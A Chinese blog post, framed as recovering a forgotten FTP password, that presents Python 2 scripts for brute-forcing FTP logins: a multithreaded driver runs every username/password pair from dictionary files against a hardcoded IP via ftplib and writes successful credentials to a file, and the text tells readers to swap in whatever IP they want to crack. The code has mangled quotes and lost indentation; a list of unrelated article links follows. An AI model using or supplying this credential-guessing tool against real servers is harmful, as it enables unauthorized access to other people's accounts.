忘记ftp密码使用python ftplib库暴力破解密码的方法示例


Posted in Python onJanuary 22, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 
import time 
import threading 
class mythread(threading.Thread): 
def __init__(self,command): 
threading.Thread.__init__(self) 
self.command=command 
def run(self): 
kk=os.system(self.command) 
ushand=open(“user.txt”,”r”) 
pshand=open(“passwd.txt”,”r”) 
listuser=[] 
listpass=[] 
for us in open(“user.txt”,”r”): 
lineus=ushand.readline().strip(‘\n') 
listuser.append(lineus) 
for ps in open(“passwd.txt”,”r”): 
lineps=pshand.readline().strip(‘\n') 
listpass.append(lineps) 
for i in listuser: 
for j in listpass: 
command=”ftp.py %s %s” %(i,j) 
print command 
my_thread=mythread(command) 
my_thread.start() 
time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 
import socket 
import sys 
ftp=ftplib.FTP('121.54.175.204′) 
try: 
user=sys.argv[1] 
passwd=sys.argv[2] 
ftp.login(user,passwd) 
hand=open(‘aa.txt','a+') 
hand.write(user+”:”+passwd+”\n”) 
except ftplib.error_perm: 
print “passwd is world”

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
python操作MongoDB基础知识
Nov 01 Python
Python实现的概率分布运算操作示例
Aug 14 Python
tensorflow训练中出现nan问题的解决
Feb 10 Python
python中的协程深入理解
Jun 10 Python
python自动化测试之DDT数据驱动的实现代码
Jul 23 Python
pandas 如何分割字符的实现方法
Jul 29 Python
python opencv实现证件照换底功能
Aug 19 Python
python中seaborn包常用图形使用详解
Nov 25 Python
Python实现直播推流效果
Nov 26 Python
Python中six模块基础用法
Dec 08 Python
python程序需要编译吗
Jun 19 Python
Python直接赋值及深浅拷贝原理详解
Sep 05 Python
使用python的chardet库获得文件编码并修改编码
Jan 22 #Python
使用go和python递归删除.ds store文件的方法
Jan 22 #Python
python学习手册中的python多态示例代码
Jan 21 #Python
python pdb调试方法分享
Jan 21 #Python
python发送邮件接收邮件示例分享
Jan 21 #Python
python逐行读取文件内容的三种方法
Jan 20 #Python
c++生成dll使用python调用dll的方法
Jan 20 #Python
You might like
php实现处理输入转义字符的代码
2015/11/08 PHP
JS跨域代码片段
2012/08/30 Javascript
js函数调用常用方法详解
2012/12/03 Javascript
怎样在JavaScript里写一个swing把数据插入数据库
2012/12/10 Javascript
JavaScript原生对象之Number对象的属性和方法详解
2015/03/13 Javascript
JavaScript对象参数的引用传递
2016/01/14 Javascript
详解Node.js包的工程目录与NPM包管理器的使用
2016/02/16 Javascript
JavaScript添加随滚动条滚动窗体的方法
2016/02/23 Javascript
Bootstrap弹出带合法性检查的登录框实例代码【推荐】
2016/06/23 Javascript
详解VUE 数组更新
2017/12/16 Javascript
JS解惑之Object中的key是有序的么
2019/05/06 Javascript
解决使用layui的时候form表单中的select等不能渲染的问题
2019/09/18 Javascript
VUE UPLOAD 通过ACTION返回上传结果操作
2020/09/07 Javascript
vscode 调试 node.js的方法步骤
2020/09/15 Javascript
Vue.js桌面端自定义滚动条组件之美化滚动条VScroll
2020/12/01 Vue.js
[47:53]DOTA2上海特级锦标赛主赛事日 - 1 败者组第一轮#2COL VS Spirit
2016/03/02 DOTA
Python实现根据指定端口探测服务器/模块部署的方法
2014/08/25 Python
python多线程threading.Lock锁用法实例
2014/11/01 Python
python搭建微信公众平台
2016/02/09 Python
Python实现矩阵转置的方法分析
2017/11/24 Python
Python编程二分法实现冒泡算法+快速排序代码示例
2018/01/15 Python
python 中的list和array的不同之处及转换问题
2018/03/13 Python
11个Python Pandas小技巧让你的工作更高效(附代码实例)
2019/04/30 Python
python+tkinter实现学生管理系统
2019/08/20 Python
解决pymysql cursor.fetchall() 获取不到数据的问题
2020/05/15 Python
关于廉洁的广播稿
2014/01/30 职场文书
文秘自荐信
2014/06/28 职场文书
员工试用期自我鉴定范文
2014/09/15 职场文书
2014年领导班子工作总结
2014/12/11 职场文书
社区五一劳动节活动总结
2015/02/09 职场文书
圣贤教育改变命运观后感
2015/06/16 职场文书
联村联户简报
2015/07/21 职场文书
副校长2015年教育教学工作总结
2015/07/27 职场文书
商业计划书格式、范文
2019/03/21 职场文书
如何在向量化NumPy数组上进行移动窗口
2021/05/18 Python
CSS中理解层叠性及权重如何分配
2022/12/24 HTML / CSS